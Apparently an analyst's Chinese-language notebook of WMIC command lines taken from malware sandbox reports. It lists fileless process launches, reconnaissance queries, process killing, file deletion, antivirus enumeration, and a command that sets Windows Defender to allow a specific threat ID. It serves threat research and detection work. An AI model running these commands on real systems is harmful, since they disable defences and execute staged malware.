通过wmic 无文件攻击的例子
案例：
https://any.run/report/45593a7071903724aae4974d478a17784cfca63af4d3404312fb4b5ecb9e0f1c/58f92791-2735-4bb1-8c2e-74894b313bac
https://any.run/report/5edfc1cb7b964efad83a974378e377bad906d24c686b4490a4d739aff31d0d65/4eeb001d-e08c-4837-aba6-ad6d2a7dcfce
https://any.run/report/9ef0dfa2c7dc75f87bec0fb632b763306fca3baf3515bbb82aa64985ddd97af6/db42e740-4c8c-4c77-8d38-94209bf307e9
https://any.run/report/0752f86b7c1c2b053b3eb4f1b60c046bb114af56882f512b657728f14749cbc9/7526a11a-b6d7-44e0-ae8e-2bfcc16044f1
https://any.run/report/675d56191139c3b24869c61f555619a98f807fb847184448dff6e6e796037382/b5156d61-4988-4311-a12e-e363fceb8613
Payload：
wmic process call create "C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe -basesettings"
C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
wmic.exe process call create 'regsvr32 -s C:\Users\Public\connectfront.xref'
WMIC Process Call Create "C:\Windows\System32\Wscript.exe //NOLOGO C:\Users\admin\AppData\Local\Temp\C-PDI-C-Cpy-T.vbs"
wmic process call create "C:\ProgramData\Chrome\PacketVMArranger.exe"
wmic process call create '"C:\Users\admin\AppData\Roaming:ApplicationData"'
通过wmic读取系统信息
案例：
https://any.run/report/052443ac4ea5f6e4eeda13a7722b6face69d29238e54c4b7420a9b19e9e5aab1/08e9ccc0-fd71-4d05-b4b7-688955b670e6
https://any.run/report/9bf9cc8bb6106c9a8f1d104702bff8089990eb344792941187d6281ae51cff90/8eab11ef-6e11-49af-902a-bdf6c2235118
payload：
"wmic" os get Caption /format:list
"wmic" path win32_VideoController get name /format:list
"wmic" os get Caption /format:list
WMIC OS GET LocalDateTime /value 获取时间
WMIC OS GET LastBootUpTime /value
wmic os get osarchitecture /value
wmic ComputerSystem get HypervisorPresent /format:list 看hyp是否存在
wmic ComputerSystem get PartOfDomain /format:list
wmic ComputerSystem get PCSystemType /format:list
wmic logicaldisk where (caption="C:") get filesystem /value 我的主机返回NTFS
WMIC PATH WIN32_OperatingSystem get OSLanguage /format:list
WMIC OS GET NumberOfLicensedUsers /value
WMIC OS GET PortableOperatingSystem /value
WMIC PATH WIN32_OperatingSystem get DataExecutionPrevention_32BitApplications /format:list 我的机器返回：DataExecutionPrevention_32BitApplications=TRUE
WMIC PATH WIN32_OperatingSystem get DataExecutionPrevention_Available /format:list
WMIC PATH WIN32_OperatingSystem get DataExecutionPrevention_Drivers /format:list
WMIC CSPRODUCT GET NAME /format:list
“wmic csproduct get vendor,name,identifyingnumber”可显示主机型号
"wmic" path win32_VideoController get name /format:list
"wmic" os get Caption /format:list 我的主机返回：Caption=Microsoft Windows 10 专业版
通过wmic结束进程
案例：
https://any.run/report/536c8111c7702589aa90108efbbdacc2798f3cc44fad8480401c8eba3a6306d0/5290873f-5811-4571-9db6-c510114e9e55
https://any.run/report/baaf3d2485ff9ff393bd67dd3ce6e029d5f9f3580bf8379bbf8780c4283ae34c/30afde07-5367-463f-a185-7c53191792bd
https://any.run/report/9dcbd14ae1b047c21a3ae6c544d34b13be8414c047519fa135249049204e7327/55fdc704-3a9c-4c02-958a-d3e09bc90903
payload：
wmic process where "name='systems.exe' and ExecutablePath='C:\\Windows\\debug\\NAT\\systems.exe'" call Terminate
wmic process where "name='TrustedInsteller.exe' and ExecutablePath='C:\\Program Files\\Common Files\\Services\\TrustedInsteller.exe'" call Terminate
wmic process where "name='svchost.exe' and ExecutablePath='C:\\Windows\\SysWOW64\\inetsrv\\102\\svchost.exe'" call Terminate
wmic process where "name='LDE.exe' and ExecutablePath='C:\\ProgramData\\WinTcpAutoProxySvc\\LDE.exe'" call Terminate
wmic process where "name='taskmgr.exe' and ExecutablePath='C:\\Windows\\Temp\\locales\\taskmgr.exe'" call Terminate
wmic process where "name='service.exe' and ExecutablePath='C:\\Windows\\data\\service.exe'" call Terminate
wmic process where "name='myminer.exe' and ExecutablePath='C:\\Windows\\temp\\winstart\\myminer.exe'" call Terminate
wmic process where "name='svchost.exe' and ExecutablePath='C:\\windows\\SysWOW64\\drivers\\svchost.exe'" call Terminate
wmic datafile where "drive='c:' and Path = '\\windows\\temp\\' and FileName = 'm' and Extension = 'ps1'" call delete
wmic datafile where "drive = 'c:' and Path = '\\windows\\temp\\' and FileName = 'mkatz' and Extension = 'ini'" call delete
wmic process where name="system" call terminate
wmic process where name="unitezip.exe" call terminate
通过wmic更改特定恶意软件的默认操作
案例：https://any.run/report/5e0bb31c5994b0bb8eb4e4f38ea22ea5394691f2fa8e6e52650223ecddf54bec/38719fcd-39cf-415c-9fbd-732bd62af348
Payload：
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True
更改特定恶意软件的默认操作，Action 6 (Allow)将它用于威胁 id Name=Behavior:Win32/Execution.LR!ml&ThreatID=2147737007，修改策略。
补充：
Windows Defender
Windows Defender (after update 1.293.1336.0) blocks StaffCop module for file monitoring. To check if it was blocked or not, we should check the availability of the file:
C:\Windows\System32\drivers\CaptureFileMonitor64.sys
If this file can’t be found - you should perform the following actions.
Add exclusuions
In cmd:
WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=252013 ThreatIDDefaultAction_Actions=6
通过wmic读取杀毒软件列表
案例：
https://any.run/report/9bf9cc8bb6106c9a8f1d104702bff8089990eb344792941187d6281ae51cff90/8eab11ef-6e11-49af-902a-bdf6c2235118
Uses WMIC.EXE to obtain a list of AntiViruses
- cmd.exe (PID: 3392)
wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
我的主机返回：
displayName
QiAnXin Skylar
Windows Defender
火绒安全软件